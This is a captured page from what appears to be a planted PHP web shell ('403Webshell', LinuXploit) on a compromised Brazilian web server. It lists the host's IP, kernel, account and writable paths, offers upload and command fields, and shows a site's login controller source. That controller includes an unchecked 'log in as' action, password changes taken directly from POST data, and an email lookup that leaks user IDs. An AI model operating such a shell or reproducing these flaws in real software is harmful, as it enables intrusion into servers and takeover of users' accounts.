403Webshell
Server IP : 23.111.136.34  /  Your IP : 216.73.216.136
Web Server : Apache
System : Linux servidor.eurohost.com.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : meusitei ( 1072)
PHP Version : 5.6.40
Disable Function : show_source, system, shell_exec, passthru, proc_open
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/meusitei/public_html/controle/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/meusitei/public_html/controle/controllers/login-controller.php
<?php
/**
 * LoginController - Controller de exemplo
 *
 * @package TutsupMVC
 * @since 0.1
 */
class LoginController extends MainController
{

	/**
	 * Carrega a página "/views/login/index.php"
	 */
    public function index() {
		// Título da página                
		$this->title = 'Login';                
                $language = new Language();
                $lang = $language->getLanguage(@$_POST['lang']);		
		// Parametros da função
		$parametros = ( func_num_args() >= 1 ) ? func_get_arg(0) : array();	
		// Login não tem Model		
		/** Carrega os arquivos do view **/	
                require ABSPATH . '/views/login/login-view.php';        
		// /views/_includes/footer.php        		
    } // index
    public function verificalock() { 
        if(is_array(@$_SESSION['userdata'])){}
        else if(@!$_SESSION['test']['user']){
            echo "nolock";
        }else{
            $_SESSION['test']['lockscreen'] = 2;
            echo "lock";
        }
    }
    public function lock() {       
        if(@$_SESSION['test']['lockscreen'] == 2){
		// Título da página
		$this->title = 'Página Lockada';                
                $language = new Language();
                $lang = $language->getLanguage(@$_POST['lang']);
        require ABSPATH . '/views/login/lock-view.php';
        }else{echo "<script language='JavaScript'> window.location='".HOME_URI."login/'; </script>";}
    }    
    public function limparlock() {   
        $this->title = 'Logout';
        $language = new Language();
        $lang = $language->getLanguage(@$_POST['lang']);
        
        $modelo = $this->load_model('user-register/logarcomo-model');
        $modelo->isoffline(@$_SESSION['userdata']['user_id']);
        
        @$_SESSION['test'] = array();
        unset( $_SESSION['test'] );
        $this->logout();        
        require ABSPATH . '/views/login/logout-view.php';
    }    
    public function deslogar() {	
        $this->title = 'Logout';
        $language = new Language();
        $lang = $language->getLanguage(@$_POST['lang']);
        
        $modelo = $this->load_model('user-register/logarcomo-model');
        $modelo->isoffline(@$_SESSION['userdata']['user_id']);
        
        $_SESSION['test'] = array();
        unset( $_SESSION['test'] );
        
        
	$this->logout();
        
        require ABSPATH . '/views/login/logout-view.php';
	}
        
        public function logarcomo(){        
                   
        $modelo = $this->load_model('user-register/logarcomo-model');
        $parametros = ( func_num_args() >= 1 ) ? func_get_arg(0) : array();                        		        
        $modelo->logarcomo($parametros[0]);
		/** Carrega os arquivos do view **/
		
		// /views/_includes/header.php
        require ABSPATH . '/views/_includes/header.php';        
        require ABSPATH . '/views/_includes/header2.php';
		
		// /views/_includes/menu.php
        require ABSPATH . '/views/_includes/menu.php';
		
		// /views/noticias/index.php
        require ABSPATH . '/views/home/home-view.php';
		
		// /views/_includes/footer.php
        require ABSPATH . '/views/_includes/footer.php';
            
            //print_r($fetch);
        }
        
        public function recuperarsenha(){                      
        $modelo = $this->load_model('user-register/recuperarsenha-model');
        $parametros = ( func_num_args() >= 1 ) ? func_get_arg(0) : array();                        		                
        $modelo->recuperar($parametros[0]);                
        $codigo = $modelo->form_data['cod'];        
        //echo $parametro;                
        if($codigo != null){    
		$this->title = 'Recuperação de Senha';
                
                $language = new Language();
                $lang = $language->getLanguage(@$_POST['lang']);
		
		// Parametros da função
		$parametros = ( func_num_args() >= 1 ) ? func_get_arg(0) : array();
                
		// Login não tem Model			        
                require ABSPATH . '/views/login/recuperarsenha-view.php';
            }
            else{ echo "<script language='JavaScript'> window.location='".HOME_URI."login/'; </script>";  }            
        }
        public function alterar(){
            $modelo = $this->load_model('user-register/recuperarsenha-model');            
            $modelo->update_senha($_POST['pass'],$_POST['cod']);                                        
        }
        public function recuperar(){
            $modelo = $this->load_model('user-register/recuperarsenha-model');            
            $modelo->verificaremail($_POST['email']);                
            $codigo = $modelo->form_data['user_id'];
            echo $codigo;                
        }
       
               
} // class LoginController

Youez - 2016 - github.com/yon3zu
LinuXploit